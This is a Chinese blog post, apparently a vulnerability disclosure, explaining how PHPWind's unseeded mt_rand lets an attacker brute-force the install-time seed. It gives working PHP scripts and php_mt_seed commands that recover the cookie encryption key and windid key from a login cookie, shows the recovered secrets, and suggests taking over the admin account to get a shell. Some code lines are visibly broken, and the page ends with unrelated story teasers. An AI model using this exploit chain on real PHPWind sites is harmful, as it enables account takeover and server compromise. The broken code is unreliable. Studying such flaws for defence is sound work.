PHPWind 密钥泄露

  1. 发布时间:2017-05-10
  2. 公开时间:N/A
  3. 漏洞类型:信息泄露
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2017-05-94591722
  6. 测试版本:N/A

漏洞详情

wind/utility/WindUtility.php 115行 generateRandStr函数

public static function generateRandStr($length) {
        $mtstring = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
        $randstr = '';
        for ($i = 0; $i < $length; $i++) {
            $randstr .= $mt_string[mt_rand(0, 61)];
        }
        return $randstr;
    }

函数调用时没有用mt_srand初始化随机数种子 在已知序列且部分mt_rand值可知的情况下 可以爆破seeds 导致所有生成的“随机值”可被轻易计算
安装时有3处调用了generateRandStr函数 分别是
finishAction中的

$site_hash = WindUtility::generateRandStr(8);
$cookie_pre = WindUtility::generateRandStr(3);

和dataAction中的

$this->_writeWindid();//这个函数中调用如下
$key = md5(WindUtility::generateRandStr(10));

安装时抓包看调用顺序是data->finish
所以随机序列是

mt_rand()10 //$key windid通信密钥
mt_rand()8  //$site_hash cookie加解密DES密钥 
mt_rand()3  //$cookie_pre cookie前缀

按这个顺序跑了一次php_mt_seeds没成功 看来安装的时候还有别的mt_rand调用 搜了一下 发现一个函数

private function _checkWriteAble($pathfile) {
        if (!$pathfile) return false;
        $isDir = in_array(substr($pathfile, -1), array('/', '\')) ? true : false;
        if ($isDir) {
            if (is_dir($pathfile)) {
                mt_srand((double) microtime()  1000000);
                $pathfile = $pathfile . 'pw' . uniqid(mt_rand()) . '.tmp';
            } elseif (@mkdir($pathfile)) {
                return self::_checkWriteAble($pathfile);
            } else {
                return false;
            }
        }
        @chmod($pathfile, 0777);
        $fp = @fopen($pathfile, 'ab');
        if ($fp === false) return false;
        fclose($fp);
        $isDir && @unlink($pathfile);
        return true;
    }

函数是用来检查目录写权限的 可以看到当参数是目录的时候 会用mt_srand重置随机数 然后再调用了一次mt_rand()。
这个函数调用的地方不少 但我们不用去管它调用几次,因为只要参数是文件 就不会mt_srand也不会mt_rand
只要参数是目录 那么就会mt_srand()+mt_rand()
不管怎么调用这个函数 都只需要在最后计算序列时加上一次就可以了 而且因为这个函数的存在 使得我们的seeds范围大大减小(double)microtime()1000000
重新梳理逻辑
现在随机数序列是这样

[mt_srand(x)+mt_rand()]N
mt_rand()10 //$key windid通信密钥
mt_rand()8  //$site_hash cookie加解密DES密钥 
mt_rand()3  //$cookie_pre cookie前缀

写个脚本来生成参数

$mt_string = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
$cookie_pre = 'JIE'; //cookie_pre
for($i=0;$i<19;$i++){ //1+10+8
    echo "0 0 0 0 ";
}
for($i=0;$i<3;$i++){
    $pos = strpos($mt_string,$cookie_pre[$i]);
    echo "$pos $pos 0 61 ";
}

丢给php_mt_seeds

./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 21 21 0 61 19 19 0 61 9 9 0 61 >1.txt

因为只有3个已知值 所以跑出来的seeds会不少 不过因为前面用mt_srand自己置的seeds 所以在跑完
trying 0 - 33554431 之后就可以ctrl+c停止了
整理下文件

cat 1.txt | awk '{print $3}'|tr -s '\n' >seeds.txt

丢个下一个脚本

<?php
$cookie = urldecode('D%2BTThp3bRjrgqq5uut%2FcE%2FYuevs2Z6Gc%2BsFxOwpn%2BhETDbAPa1%2FTKA%3D%3D');
//登录后的cookie
$file = fopen("seeds.txt","rb");
$new_seeds = '';
while(!feof($file)){
    $seed = fgets($file);
    mt_srand(intval($seed));
    $pad = mt_rand();
    $key = generateRandStr(10);
    $hash = generateRandStr(8);
    $pre = generateRandStr(3);
    if(check($cookie,$hash)){
        die($seed.$hash."\n".md5($key));
    }
}
function check($cookie,$hash){
    if(decrypt($cookie,$hash)){
        echo "result:".decrypt($cookie,$hash)."\n";
        return true;
    }else{
        return false;
    }
}
function decrypt($str, $key, $iv = '') {
        $size = mcrypt_get_block_size(MCRYPT_DES, MCRYPT_MODE_CBC);
        $iv = substr(md5($iv ? $iv : $key), -$size);
        $str = base64_decode($str);
        @$str = mcrypt_cbc(MCRYPT_DES, $key, $str, MCRYPT_DECRYPT, $iv);
        $pad = ord($str{strlen($str) - 1});
        if ($pad > strlen($str)) return false;
        if (strspn($str, chr($pad), strlen($str) - $pad) != $pad) return false;
        return substr($str, 0, -1  $pad);
}

分分钟出结果

result:2 44aef40f6b1629ffa04e8b2b24c12372
263450
Lw0xe4Vt
222abc490d4c50ccc7c07419ba501898

看看我们的配置文件


view.png

接下来 不管是拿hash去玩cookie
还是直接用windid玩用户 都随便 直接修改管理员密码进后台getshell都没什么问题

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,711评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,932评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,770评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,799评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,697评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,069评论 1 276
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,535评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,200评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,353评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,290评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,331评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,020评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,610评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,694评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,927评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,330评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,904评论 2 341

推荐阅读更多精彩内容

  • 前言 前段时间挖了不少跟mt_rand()相关的安全漏洞,基本上都是错误理解随机数用法导致的。这里又要提一下php...
    索马里的乌贼阅读 1,348评论 0 1
  • mt_srand() 和 mt_rand() mt_srand(): 为mt_rand()函数播种的函数 php ...
    rivir阅读 2,152评论 0 1
  • 把当前目录作为Root Document只需要这条命令即可:php -S localhost:3300 也可以指定...
    绚烂的时光阅读 723评论 0 1
  • PHP7 已经出来1年了,PHP7.1也即将和大家见面,这么多好的特性,好的方法,为什么不使用呢,也希望PHP越来...
    梦幻_78af阅读 2,064评论 1 10
  • 说的话写的词 不美可以吗 忘记了最浪漫的三个字 对不起没关系 又被嫌弃吗 差点就想起了的小故事 我翻了一遍一遍一遍...
    F_Rain阅读 188评论 0 0